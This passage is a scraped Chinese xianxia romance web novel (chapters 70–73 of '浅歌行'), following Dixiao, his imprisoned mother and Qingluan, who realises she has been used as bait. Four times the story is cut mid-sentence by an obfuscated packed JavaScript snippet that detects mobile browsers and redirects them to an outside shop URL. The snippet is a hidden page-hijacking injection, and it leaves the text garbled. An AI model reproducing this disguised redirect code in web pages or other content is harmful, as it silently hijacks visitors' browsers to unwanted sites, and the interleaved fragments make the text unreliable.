“若真舍不下我,那您就杀了他,反正他身上流淌着的是妖物的血,那些妖怪连世上最蠢钝的生物都比不上,杀了又有什么可惜。”他的声音越来越冷,这声音冰冷地落在素娆耳朵里,令她觉得自己的孩儿与那九重天上的天君越来越像,离她也越来越远。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074757|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他仍在步步紧逼:“杀了他,父亲也许就会原谅您,到时我会去求天君,让他放您出龙渊之狱。到那时,我们便能一起在青要山中生活了。母亲,在我和这个妖物之间,您选择哪一个?” 素娆已无法言语,她只是流着泪摇头,咬牙忍受着锥心的痛。 虚空之牢瞬间陷入了寂静之中,只听得到素娆的啜泣之声,还有隐匿在暗处的巨兽们浅浅的呼吸声。 帝骁没有等来他想要的答案,轻轻地吸了口气,他抬手抚上自己的面庞,遮住微微发红的眼眶。 “几百年过去了,这几百年来,父亲始终不肯原谅您,也因此恼怒于我,所以他从来没有主动探望过我。我就独自在青要山中长大,既没有父亲教导,也没有母亲照料。青要山很大,可我始终一个人。” 素娆痛心地唤他,却听他继续道:“您以为不说话就没有做出选择,其实您的沉默就是答案,我已经知道您的选择是什么了。” “不,不,不是这样的……”素娆痛苦地捂住自己的心口,极力忍耐着心脏处传来的疼痛,脸色变得惨白:“骁儿,你与他都是母亲的孩儿,母亲不能舍下你们任何一个,如何能够做出选择?” “您可以的。”帝骁的语气很淡,已没了方才的激动与委屈,此刻的他收敛了自己所有的情绪,变回了那个高高在上的冷漠神君。 “小时候我怎么也想不明白,您到底是为什么。可是现在我明白了,因为您根本就不爱父亲,对么?真相的确是很难堪的,但我不得不接受现实,您真心所爱的竟然是那样一个妖物。您既然不爱我的父亲,当然也不会真心爱我,我与那个孩子,您于情于理都是该选择他的。”帝骁所说的这番话无疑是会刺痛素娆也会刺痛他自己的,可是他依然这么说了,就好像在逼着自己做出一个决断。 素娆已说不出话来,她只能哭泣着,不住地摇头。 帝骁将准备好的吃食与衣物送进牢中,随后便转身离开,自始至终,他都没有朝她的方向靠近一步:“母亲,以后我不会再来看你,你自己保重。” 离开龙渊之狱,他面无表情地踏入九重天宫,天上的寒气仿佛比来时更凉,一丝一丝地钻入他的骨髓,将他整个人都浸得寒凉。 待回到青要宫中时,便连怀沙与尺素都被他这副肃杀的模样吓了一跳。 他分明只是去探望了一下母亲,却好像独自奔赴战场面对了千军万马,在冰冷的肃杀之意下,还有着掩也掩不住的疲惫。 二人想要上前,却被帝骁喝退:“我要去炼器室,谁都不许靠近。” 两人止住步伐,不敢再靠近一步,只能注视着帝骁的背影,看着他独自走进封印已久的炼器室,然后将自己关进一室黑暗中。 这炼器室还是当初从九重天宫搬下来的,里面的东西皆是帝骁幼时所用,不过自从他入主青要山后,这炼器室便被封印了起来,再也没有使用过。 70. 浅歌行 “每次神君去龙渊之狱探视素夫人后,回来时总是闷闷不乐,可无论如何也不曾像今日这般模样。”尺素担忧地望向炼器室的方向:“怀沙,神君他……看起来好悲伤。” “是啊。”怀沙叹了口气:“自从来到青要山后,神君几乎不曾踏进过炼器室,上一次他将自己关在炼器室中不眠不休,还是几百年前太华之战,帝媱仙子被那后神掳走的时候。也不知这次探视素夫人到底发生了什么,会令他如此伤心。” 尺素摇了摇头:“不管发生了什么,神君都一定不会告诉我们的,我们甚至连炼器室都不能靠近。”说到这里,她突然想到了什么,转头望向青鸾的住处:“还得有一个人能劝得动神君才是。” 怀沙本想劝说尺素,他们尽好自己近侍的职责,完成好帝骁交代的任务便是,不要旁生枝节,天族成员之间的爱恨纠葛,毕竟不是他们这种身份的人可以插手的。 可是看见尺素为了帝骁那般忧心的模样,话到嘴边又被咽了回去,他也转过头,随着尺素的目光望向青鸾的寝殿:“也许青鸾姑娘能够令神君开怀吧,她的伤已痊愈,想必也该醒了。” 如此过了半日,被无数硕大的夜明珠照得亮堂的寝殿中,躺在床上的青鸾果然悠悠醒转。 她微微撑起身子,抬头望着窗外的沉沉夜色,眼中尽是茫然。 她记得自己离开小华山后曾与大言合虚神交手,却不记得她是如何回到青要宫中的了。 她知道自己远不是大言合虚神的对手,当时明明已经遭受重创,甚至被他砸进了地里。 当时的情景,实在是惨不忍睹的。 可之后发生了什么? 此刻她怎会在这里? 她努力地想要找回当时的记忆,却怎么也想不起来之后发生的事,就好像在黑暗中捕捉透明的记忆碎片,不仅毫无思绪,反而愈发迷茫。 无论怎么回想,脑海中都是一片茫然,偶尔闪过断神刃被一双巨爪在黑暗中碾碎的画面,惊得她呼吸一窒。 心脏又开始剧烈地跳动起来,她拼命压制住这股不适的感觉,放弃了在脑海中搜寻记忆。 不管怎么说,她现在平安回到了青要宫,并且一身的伤也被人治好了,不用想也知道这是帝骁所为。 想来当时她险些死在大言合虚神手下,也是被帝骁救了回来吧。 捂住心口缓了好一会儿,她起身调息,这才化解了方才的心悸。 下床给自己倒了杯水喝,她突然想起小蓝,连忙打开乾坤袋,见它蜷缩在袋中休息,这才彻底松了口气。 小蓝对她是很有情义的,当初羭次山神祭出天君法旨,那般威势,那样可怖,小蓝不仅没有丝毫退缩之意,反而还用自己的身体替她挡下了法旨的攻击。 她原本担心这次同大言合虚神交手,小蓝看她不敌也会鲁莽上前,不过现在看来它倒是无恙,想来是因为帝骁及时赶到将她救下了吧。 不过,帝骁何以会这么凑巧,在她刚刚遭遇到危险的时候便能立马赶到? 若是放在以前,她八成会感动于帝骁对她无微不至的保护,以为他是时时刻刻将自己的安危挂在心上,无时无刻不在关注着她的动向,这才能在她遇到危险时及时出现。 可是现在,她万不会这样想了。 如今她已经知道,自己在帝骁心目当中绝没有那般重要,即使他时刻保护着她,那也是因为她对他而言尚有利用价值。 他原本便是一个利益当先的人,没有价值的人他不会保护,没有利益的事他也不会去做。 那么,除了因为她的心脏可以助他复活那个唤作阿媱的女子,此番赶赴小华山保护她的安全,将她从大言合虚神手中救下,他还有什么目的呢? 她扶着桌沿坐下,细细地思索梳理着所有自己已知的信息。 她绝不相信帝骁此举仅仅是为了保护她。 若只是为了保护她,他大可以拒绝她前往小华山的请求,将她关在青要宫中,或者令她直接前往东海。 当时她提出要去小华山寻瑾瑜,虽然帝骁曾表露出些许不满,但如今想来,他分明从一开始便不打算拒绝。 是他纵了自己前往小华山。 他的目的是什么呢? 帝骁在青鸾眼中从来都是深不可测的,从来都是他对她做出安排,掌控着她的生活乃至命运,这是她第一次尝试脱离他的掌控,主动揣摩他的心思。 不能着急。 她慢慢整理着思绪。 他纵着她前往小华山,那便说明她的小华山之行于他而言有利可图。 顺着这个思路去想,一个问题呼之欲出。 小华山中到底有什么,对他而言如此重要? 恐怕也只有身为子玉的瑾瑜了吧。 是了,瑾瑜便是子玉,这件事情旁人或许不知,但身为武罗神君的帝骁必然知晓。 他一直希图复活阿媱,一定不会放过得到子玉的机会。 所以,他这是想借自己之手找到瑾瑜,让瑾瑜成为复活阿媱的工具? 不对。 青鸾摇了摇头。 大言合虚神曾与瑾瑜有过一战,瑾瑜在此战中身殒,帝骁不会不知。 不是为了瑾瑜,那难道是为了曾与她交战的大言合虚神么? 想到这里,脑中灵光一闪,青鸾知道自己已无限接近答案。 瑾瑜与婴垣皆为子玉,只要擒住她们其中一个,都能复活阿媱。瑾瑜身殒之事帝骁与大言合虚神皆知,可是婴垣也已身殒之事,他们二人中唯有帝骁知晓,大言合虚神还浑然不知。 子玉千年难寻,当年大言合虚神与瑾瑜对战,放跑了婴垣,他一定心有不甘,又料定婴垣一定放不下她的姐姐,不论瑾瑜是生是死,婴垣迟早会回小华山一趟。 退一万步讲,即便婴垣始终不回,祁颜也一定会回来,届时再通过他寻到婴垣,对于大言合虚神来说也不过是轻而易举之事。 因此,自瑾瑜身殒之后,大言合虚神想必一直在小华山附近守株待兔,等着婴垣按捺不住自投罗网。 所以早在她去往小华山之前,帝骁便已推测出大言合虚神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090809|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就守在小华山附近,他的目的从始至终都在大言合虚神身上。 当初小华山一战惊动了九重天宫,自那之后大言合虚神便销声匿迹,想来帝骁一直在寻找他的下落,无奈对方是个修为高深的后神,若非主动现身,他是寻不到他的。 可是如何才能让他主动现身呢? 青鸾自嘲地笑了笑。 没想到自己成为了行走的诱饵,做了帝骁引蛇出洞的工具。 她的心脏可以为阿媱所用,大言合虚神岂能看不出来,因此在明知他就在小华山附近的情况下,帝骁仍然纵着她往小华山去,为的不就是引大言合虚神出手剜她的心脏,主动现身么? 至于帝骁为何要寻大言合虚神,要么是为了寻仇,要么是因为阿媱的尸身在大言合虚神那里,他要从对方手中夺过来而已。 以帝骁的性格,加上如今的形势,想来多半是因为后者。 想通此节,青鸾顿觉哭笑不得。 如此看来,只怕空桑一行帝骁便已怀着这个心思了。 想当年华胥与青丘交战,九重天便是派的帝骁前去止战,她在慕容雪的记忆中见到过帝骁,他当时一剑劈了空桑,将整座山都化为了齑粉。后来大言合虚神出手救了慕容雪,还给了她一棵归魂树,让她以自己的精魂供养。此事帝骁怎会不知? 曾经她也怀疑过,帝骁分明便知晓空桑之雪的内情,他亲自去一趟空桑,哪怕是简单粗暴地拔了归魂树,也能止住四海八荒的雪,何以非要派她前去解决呢? 当时她以为帝骁当真是为了让她止雪立功,好求天君虚封一个神职给她,如今看来事情远没有这么简单。 只怕那时他便是想利用她引大言合虚神现身,好从对方手中夺过阿媱。 如此,空桑一行,他为了利用她引出大言合虚神,可谓是煞费苦心了。 不过他没有想到,大言合虚神并未轻举妄动,也许当时他已注意到了她,但并未在空桑山上对她动手。 想来彼时帝骁是十分遗憾的吧,可她后来居然自己送上门来,主动央求前往小华山,于是帝骁顺势而为,这次终于引得大言合虚神现身。 也不知他如此费尽心机,可有将他的阿媱夺回来? 青鸾深深地吸了一口气,她与帝骁毕竟相伴多年,此刻想通了他的诸多筹谋,知道他从始至终都将自己视为一颗棋子,还是不可避免地感到一些难过。 不过,除了这些许难过之外,她的心中涌上来的情绪更多是畅快。 原来帝骁也并非如她所想的那般深不可测,原来他的心思也是可以被揣摩出来的,更重要的是,她觉得自己并非从前以为的那样不堪,只能被人玩弄于股掌之中,最后连怎么死的都不知道。 知道了帝骁的图谋,此后也就能推测出他每一个举动背后的深意,对于她来说,曾经潜伏在暗处的危险就变得有迹可循了。 原来她的命运是可以掌控在自己手里的。 原来掌控住自己的命运是这样一种感受。 她轻轻笑了一声,感到前所未有的畅快。 71. 浅歌行 尺素便在这时叩响了她寝殿的门。 看见尺素主动来寻自己,青鸾倒是十分惊讶。 帝骁有十二近侍,尺素便是其中之一,且她是这十二位近侍中随侍帝骁时间最久的一个。 早在青鸾化形跟在帝骁身边之前,尺素便已陪伴在帝骁左右了。 因此这位近侍可以说是帝骁心腹中的心腹,她鲜少在青鸾跟前露面,即使两人偶尔在青要山相遇,她也会对青鸾视而不见。 青要山中女子甚少,大多数人都与青鸾无话可聊,因此在青鸾幼时,她还曾把尺素当作一个可以亲近的大姐姐,时常跟在她的屁股后面想要同她说话。 可是尺素总会冷着脸将她推开,从那时起她便知道,尺素应该很讨厌她,若不是因着帝骁的缘故,恐怕这位大姐姐会将她赶出青要山去。 从前她不通情爱之事,不明白尺素为何会莫名其妙讨厌她,可是此次小华山一行,她看到了瑾瑜、婴垣还有祁颜三人之间的纠葛,倒是明白过来尺素对她的憎恶从何而来的了。 女儿家的心事是藏不住的,尺素每一道追随着帝骁身影的目光,其中都深藏着对他的爱意。 尺素喜欢帝骁。 所以她厌恶自小便在帝骁身边长大的青鸾,作为帝骁的手下,她自然从未拥有过青鸾那般的待遇,每日眼见着帝骁那样用心地对待青鸾,她的心里定然不好受的。 这么一想,青鸾顿时觉得她对自己那般态度也是可以理解的了。 只是不知,今天尺素漏夜前来,主动来寻自己,倒是所为何事? “你醒了?”尺素倒也没有多话,见青鸾已经无恙,开门见山道:“如果你的伤已经好了,那……你能不能去炼器室看望一下神君?” 青鸾疑惑地啊了一声,不明白尺素此言何意。 什么炼器室? 帝骁怎么了? “你不知道炼器室?”见到青鸾这般反应,尺素似乎也很疑惑。 她的确是没有想到,深受神君宠爱的这只鸾鸟竟然不知道青要宫中有一个炼器室,并且看她的样子,她甚至连神君每隔一段时间都会去探视素夫人这件事情都不知道。 尺素试探着问:“那你知道神君的母亲被关押进了龙渊之狱么?” 青鸾茫然摇头。 尺素的心略略一沉,果然,她什么也不知道。 她不知道这些事情,那便意味着神君对她有所隐瞒,而神君之所以会瞒着她,无非是不想将她牵扯进这些是非里。 神君将她养在身边,却竭力让她远离天族的权力之争,真可谓是情深意重了。 青鸾却全然不像尺素那般想,她的第一反应也是帝骁对自己有所隐瞒,下一秒便意识到自己对于帝骁而言真的只是一道养在宫中的药引子而已。 她自诩与帝骁相伴多年,可是也许在帝骁心中,这么多年过去,偌大的青要宫,他始终都只是一个人。 他从没有将她视作同伴,甚至也许连宠物也不算。 她只不过是一个尚有利用价值的物品。 对于一个物品,是不用说那么多的。 两人各怀心思,沉浸在自己的思索里,各自在心中得出结论后,不期然抬头对视,都觉得有些尴尬。 尺素将涌上心头的酸涩之意尽数咽下,努力让自己保持着平静的语气,开口对青鸾请求道:“既然神君没有告知此事,我也不便多言。只是神君今日前往龙渊之狱探视素夫人,归来之后便将自己锁在了炼器室里。青鸾姑娘,还请你去看望一下他,好歹劝一劝吧。” 这个平时总是冷面冷情的女子此刻已将担忧二字写在了脸上,她恳求地注视着青鸾,那样热切的目光,实在令青鸾不忍心拒绝。 “可是,那炼器室你们进不去,我肯定也进不去啊。”青鸾无奈地叹了口气,就算她不忍拒绝,那也得进得去那个炼器室才是。 “你进得去的,这青要山中虽然布满了大大小小的禁制,有许多地方神君都不允许我们踏入,但你与我们不一样,青要山中的所有禁制都是对你开放的。”尺素再一次被青鸾的回复所震惊,旁的也就罢了,可是她居然连自己拥有随意进出青要山中所有禁制的特权都不知道,这未免也太奇怪了。 “青要山中的所有禁制都是对我开放的?”青鸾比尺素还要震惊:“那为什么帝骁从来没有对我讲过?” 帝骁为人谨慎,又似乎总是有着很多秘密,所以青要山被他布满了禁制,这件事情青鸾是知晓的。 可是她委实不知,那些禁制居然全都是对她开放的? 那些被布下了禁制的地方她从来没有靠近过,即便是从前以为自己在帝骁心目当中很有些分量的时候,她也没有想过那些地方她是可以随意进入的。 因此她也就从没有开口问过,而帝骁也从未主动同她讲过。 今天听到尺素这样说,她着实是吓了一跳。 若真如此,那她倒猜不出帝骁究竟是怎么想的了。 “你既如此说了,那我便试一试吧。”一番思索后,青鸾对尺素说道:“还请尺素姑娘带路,我不知那炼器室在何处。” “好,我们现在就去。”尺素眼睛一亮,当即领着青鸾离开寝殿,向炼器室的方向走去。 炼器室隐于青要山最深处的一处瀑布之下,这里所布下的禁制极严,众人均知此地只有帝骁与青鸾二人可以进入,皆不敢触犯他的禁令。 只不过,唯二可以进入其中的青鸾却对此毫不知情,从未涉足过这片区域。 远远地注视着瀑布旁的一间小屋,尺素神情落寞地道:“我只能带你走到这里,若再往前,我便要触发禁制了。” 青鸾咽了口唾沫,她还是不太相信,帝骁居然对她开放了山中所有的禁制。 这样做对他有什么好处? 她实在想不通。 夜风拂过青鸾的鼻尖,捎来一些山中花草的清香,温柔地打断了她的思索。 月色被揉碎了洒在林间,将瀑布坠落山底溅起的水花都变为了散发着清辉的玉珠。 此情此景,美却寂寥。 青鸾在尺素期待的目光中向那片瀑布飞去,山间设下的禁制在察觉到有人靠近时隐隐闪烁了一下,随后悄无声息没入夜色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099700|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 直到亲身一试,发现自己真能畅通无阻穿越禁制,青鸾这才肯相信尺素所言。 这一座青要山对她是不设防的。 轻盈地落到炼器室的门前,青鸾左右张望了一下,抬手敲了敲门。 回应她的只有深夜山林中的鸟兽鸣叫,炼器室内一片寂静,没有发出一点声音。 她再次敲了敲门。 “帝骁,你在里面吗?” 屋内依然没有动静。 “你不说话,我可就自己进来了?” 青鸾低头注视着门上繁琐复杂的机关,皱了皱眉头。 帝骁在里面不肯开门,她该怎么进去? 抓耳挠腮了一会儿,她试探着伸出手拨弄了一下那个看起来就很难解开的机关,却没想到她只是轻轻这么一碰,那机关就咔哒一声自己解开了。 青鸾呆呆地伸着手,看着炼器室的门就这样自己缓缓打开,忍不住抽了抽嘴角。 这未免也……太不设防了吧? 炼器室里一片黑暗。 山中尚有星光月色,可不知是不是此处设下了禁制的原因,这个小小的房间里竟没有一丝光亮。 即便此刻门已开了,门外的光依然照不进屋里来。 “帝骁?”青鸾往屋内探了探脑袋,可是里面实在太暗,她什么也看不清楚。 帝骁从头到尾都没有回应过她,她甚至都不知道他是不是真的在里面。 站在门口想了想,她拿出乾坤袋,从袋中掏出一个掌心大小的夜明珠。 夜明珠所能照亮的区域有限,但也足够驱散这间小屋中的黑暗,青鸾持着夜明珠踏入炼器室里,一个前所未见的世界就这样猝不及防映入她的眼帘。 炼器之术,顾名思义乃利用一些特定的材料,通过一些特殊的方法,将手中的材料炼化成某些器具的法术。 一般来说,大部分炼器师主要炼制的都是一些武器法宝,这是因为作为炼器师的他们大多没有攻击类的法术傍身,炼化法器售卖给各族修士,乃是他们的安身立命之本。 而眼前这个炼器室中所摆放着的各类物件,显然不是武器法宝一类。 静静地在屋檐上扇动着翅膀的机关千纸鹤,见到陌生人后被吓得躲到桌子底下的小傀儡人,制作到一半显然还没有完工的飞行类器具…… 这些被炼制出来的物品,更像是结合了炼器术和机关术所打造的供人日常生活所用的小玩意儿。 这些东西神仙妖魔们自然是用不上的,可是对于那些不能修炼的凡人来说,它们一定会成为改善他们生活的绝佳工具。 真没有想到,她竟能在青要山中见到这些稀奇之物。 更令她感到吃惊的是,这些东西居然都是帝骁所做。 想到帝骁,她这才将目光从屋内各种稀罕的玩意儿上移开,开始寻找帝骁的身影。 这间屋子并不算大,可是她在屋中转了好几圈也没有看见帝骁,难道他不在这里? 就在她准备离开的时候,那个被吓得钻到桌子底下的小傀儡探出一个脑袋,冲着青鸾指了指屋顶。 72. 浅歌行 “嗯?这是什么意思?”青鸾顺着小傀儡所指的方向望去:“难道帝骁在屋顶么?” 可来的时候她并未看到屋顶上有人啊。 小傀儡歪着脑袋观察了一下青鸾,似乎对眼前这个陌生人做了好一番判断,最后决定相信她,于是搓了搓手按下一个机关,头顶处的木板应声而开,在青鸾面前垂下一道阶梯来。 青鸾往后退了一步,抬头望向木制阶梯的尽头,这才发现这间炼器室中还藏着一个小小的阁楼。 “他就在这上面吗?”青鸾伸手指了指黑漆漆的阁楼,压低了声音询问那个小傀儡。 小傀儡依旧瑟缩在桌子底下,只探出一个脑袋观望着青鸾,也不知它是否真的能听懂青鸾的问话,反应了好一会儿,它才机械地点了点头。 “谢谢你啦。”青鸾觉得这个小家伙当真可爱,弯下腰笑着朝它道了声谢,举着夜明珠朝楼上走去。 比起楼下摆放着各式器具的房间,楼上的空间更像是一个工作台,炼器所需的一应用具都堆放在这个小小的阁楼上,可以说是十分杂乱,而在这样一堆杂乱的工具背后,藏着一个倚墙而坐的身影。 这是帝骁第一次以这样的姿态出现在青鸾面前。 脆弱,孤独,落寞而且无助。 他好像一个被抛弃了的孩子,将自己封闭在与世隔绝的空间里,害怕外界的事物会再次伤害到他。 这令青鸾莫名想起楼下给她指路的那个小傀儡。 她缓缓靠近帝骁,轻轻唤了一声:“帝骁,是你吗?” 帝骁依然没有回应她的呼唤,他倚靠在角落里,垂下头将自己的脸庞掩藏在发丝的阴影中。 青鸾看不清他的表情,但她感受得到他的悲伤。 对他来说,或许此时的无言并非无言,而是已不能言。 他已经没有力气同青鸾说话,这股悲伤如同一个看不见的漩涡,正拽着他往漆黑令人窒息的海底去。 青鸾沉默着站了一会儿,避开堆放在眼前的炼器工具,深一脚浅一脚朝帝骁走去。 犹豫了一下,她贴着墙沿在帝骁身边坐下。 此刻坐到了帝骁身边,她才闻到自他身上传来的酒味,诧异地扭头注视着他,便连她自己都没有意识到,她的目光中泛起了一丝心疼。 到底发生了什么样的事情,才会让帝骁这样的人借酒消愁? 也不知他喝了多少,此刻坐在这里,是不是喝醉了的缘故? “你来了。”就在青鸾思忖着要怎样才能将醉酒的帝骁带回寝殿时,他忽然开道:“你来这里,有什么事情?” 原本青鸾并不十分确定,帝骁到底是只浅酌了几杯,还是已喝得酩酊大醉,此刻听到他这一番话,她倒是十分确定了。 这样委屈得近乎撒娇的声音哪里是平日清醒的帝骁能够发出来的? 青鸾听得心肝都颤了一颤。 他当真像极了一个受伤的小孩,此刻像是将她当成了母亲,看似是在询问她的来意,实际却是在责怪她为何现在才来。 “我来陪陪你。”青鸾突然不知道该说些什么,原本想劝他回去,话到嘴边又觉得说不出口。 等他不那么难过了,也许自己就回去了吧。 两个人皆不再说话,倚靠着冰凉的墙壁,沉默地并肩坐着。 阁楼中一片黑暗,唯一的光源便是青鸾手上的夜明珠。 夜明珠所发出的光芒并不算亮,朦朦胧胧地笼罩在帝骁身上,在他的眉眼发梢洒下一些星星点点的光晕,越发衬出些萧索之意来。 青鸾其实是很不喜欢酒味的,但是从帝骁身上传来的酒气并不浓烈,它们若有若无地飘进青鸾的鼻尖,混合着帝骁衣衫上的竹叶清香,竟然有一些好闻。 此刻的帝骁不再是平日里高高在上的神君,他落入了凡尘,被禁锢在这样一方黑暗的空间里,显得那样可怜。 青鸾沉默地注视了他好一会儿,好几次想要开口说话,但又不知道该说些什么才能真正安慰到他,最后只能咬了咬唇,默默将目光移开。 其实她现在的心情是很复杂的。 帝骁这么多年来将她养在身边,明摆着只是为了那颗能够复活阿媱的心脏,将她当作一个暂时存放那颗心脏的容器而已。 他们之间只有算计,全无情谊。 可是,此刻的他又毫无防备地将自己如此脆弱的一面暴露在她面前,还为她开放了青要山中所有的禁制,那样戒备多疑的一个人,不知为何对她毫不设防。 因此,纵使他对她只有算计,她却也无法在他面前抽离出所有的情绪,让自己保持绝对的理智。 看着眼前的帝骁,她能清晰地感受到自己心口密密麻麻攀上些疼痛。 “你从前喜欢炼器么?”她扫视了一圈屋中的炼器工具,最后还是将目光落回帝骁的身上:“刚才我寻不见你,是一个小傀儡给我指的路,它好可爱哇,就是胆子有些小。” 帝骁眸光微动,炼器这个话题似乎打动了他,他不再沉默地将自己封闭起来,终于对青鸾有了回应:“它已经一个人在炼器室中待了几百年了。” 青鸾啊了一声,咽了口唾沫。 好不容易找到的话题就这样被帝骁终结,青鸾一时间不知道该说些什么,安静了好一会儿才重新开口道:“我觉得你对炼器一道真的很有天赋,哎,这个腕饰是什么呀?是能存储物品的法器么?真好看呀!” 她试图将帝骁的注意力从那个孤孤单单在炼器室中待了几百年的小傀儡人身上移开,好在帝骁还算配合,如她所想那般转移了注意力,抬起头望向躺在青鸾掌心的蓝色瑶光链。 瑶光链在夜明珠的照耀下散发着星子般的光芒,看得出来制作它的人当初是费了好一番工夫的,每一处细节都精心打磨过,才能让它在几百年的光阴流淌间仍然保持着最初的光彩。 “它不是法器,只是一件普通的腕饰而已。”帝骁注视着那条瑶光链,思绪不经意间被拉回到了几百年前:“小时候我总以为自己的父亲与母亲十分恩爱。那时候母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112043|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲日日戴着父亲送她的瑶光链,我便以为那是他们的定情信物,于是仿着那条瑶光链的样子,自己也做了一条。” 帝骁的眸光如烛火一般摇曳,仿佛在风中明明灭灭,俨然是一副醉酒的模样,可是他说起话来倒是思路清晰,一点也不像喝醉酒的样子。 青鸾将手中的瑶光链放回炼器的工具台上,顺着帝骁方才所言问了一句:“所以这是你当初做来准备送给心上人的么?” “送给心上人?”帝骁重复了一遍青鸾的话,突然扬唇冷笑,声音里逐渐弥漫起一丝醉意:“心上人……也许吧。” 他转首望向青鸾,眼中茫然与哀伤缠绕,就好像原本便不见天日的海上陡然升起茫茫大雾,于是迷茫的更迷茫,哀伤的更哀伤。 “其实我一直都知道,我们再也回不去从前了。” 没头没脑地说了这么一句话,他疲惫地闭上眼睛,将头轻轻地靠在了青鸾的肩膀上。 青鸾身体一僵,抬手想要托住他的脑袋,犹豫了一下又把手放下。 她扭头望一眼靠在自己肩膀上的帝骁,局促地坐在原地。 帝骁显然是醉酒睡过去了,闭着眼睛呼吸均匀,眉头还微微地皱着。 他呼出的气息轻轻地拂在青鸾脖颈,吹得她脖子痒痒的。 青鸾的大脑飞速运转着。 什么回不去了? 眼下该怎么办? 这两个问题同时在她的脑海中浮现,最终她选择忽略第一个问题,解决第二个问题,起身扶醉酒的帝骁回他的寝殿歇息。 方才他莫名其妙说的那一句话她听不懂,听不懂的话便不是说给她听的,无论他方才所说的再也回不到从前指的是他与谁,都与她没有关系。 扶帝骁回到寝殿后,她在床边静默地坐了一会儿,在天边露出些鱼肚白时,起身离开了青要山,往千里之外的东海而去。 既已知晓空桑和小华山之事都与帝骁有着千丝万缕的关系,那么不难猜到,此次东海之行也绝不会如帝骁所言只是去为帝台神取生辰宴上的贺礼那般简单。 帝骁苦心孤诣想要复活阿媱,那位大言合虚神也卷入其中,这二位可以说是四海八荒最顶级的战力,如今看来天下的诸多事端皆是他们为了复活自己的心上人而起。 心上人么……想到这里,青鸾不由忆起藏在炼器室中的那条瑶光链,顿觉自空桑之行以来发生的一桩桩事情都滑稽无比。 空桑雪患,祸及四海八荒,小华山行,陨落无数性命。而这一切,都只是两位神君为了复活一个女子而已。 青鸾抬首望向东海的方向,轻轻叹了口气。 不过无论此行目的如何,也不管帝骁究竟意欲何为,她都决定前往东海走一趟。 毕竟帝骁养了她这许多年,她虽不可能将自己的心脏拱手让出,却多少能够为他做一些事。 便当作是报答这些年的养育之恩了。 她在心中暗暗做下一个决定,东海之行,这将是她为他做的最后一件事。 73. 浅歌行 日夜兼程,青鸾于次日抵达了东海之畔,在婴垣曾经落脚过的那座繁华之城稍作歇息。 她在热闹的街市上走着,呼吸着海风带来的咸湿气息,听着街边商贩此起彼伏的吆喝声,最后在长街之侧的酒楼前停下。 婴垣曾在这座酒楼中听人说书,如今那说书人仍在,只是面容看起来苍老了许多。 凡人的生命实在短暂,他们从生到死不过区区几十年,对于神仙或是修者而言,只不过是在朝夕之间。 她在楼外站了一会儿,心里生出这样一番感慨,抬头忽见前方行来几辆马车。 那几辆马车本身平平无奇,奇的是车身上竟然烙印有九重天宫的印记。 而路上的行人似乎对这个印记十分熟悉,在见到烙印着属于九重天宫的印记时,纷纷垂首避于一旁,为马车让出路来。 青鸾也随他们一起退到了路边,看见身旁的人面对这些马车时皆露出一副虔诚的模样,不禁好奇问道:“那马车里坐着什么大人物?你们似乎都很恭敬的样子?” 身旁的人待马车全部驶去,离开他们的视线之后才对青鸾道:“姑娘有所不知,那马车里载着的都是九重天宫之上为了守护百姓而战死的将士遗体。我们东海有海葬的习俗,死后能够获得海葬殊荣的无一不是为国战死的勇士。这些年来九重天宫也会将战死将士的遗体护送到东海来,由东海神君亲自举行海葬仪式,以慰将士们的在天之灵。” 青鸾若有所思地哦了一声。 她倒是不知东海还有如此习俗,待在帝骁身边这么久,也不知晓九重天宫还有将战死将士运至东海举行海葬的旧例。 想到这里她不由多问了一句:“就连天宫战死的将士也会被送到东海举行海葬,想必东海神君在此处定是德高望重吧?” 路人昂起头,言语之间皆是自豪:“那是自然,我们神君生得俊朗无双不说,而且法力高强,最难得的是他对我们这些凡人也有悲悯之心,不像那些拿着天君法旨作威作福的山神们。再说了,我们神君也是由凡人之躯修炼成神的,比起那些一生下来就高高在上的神,他当然更懂得人间疾苦。” 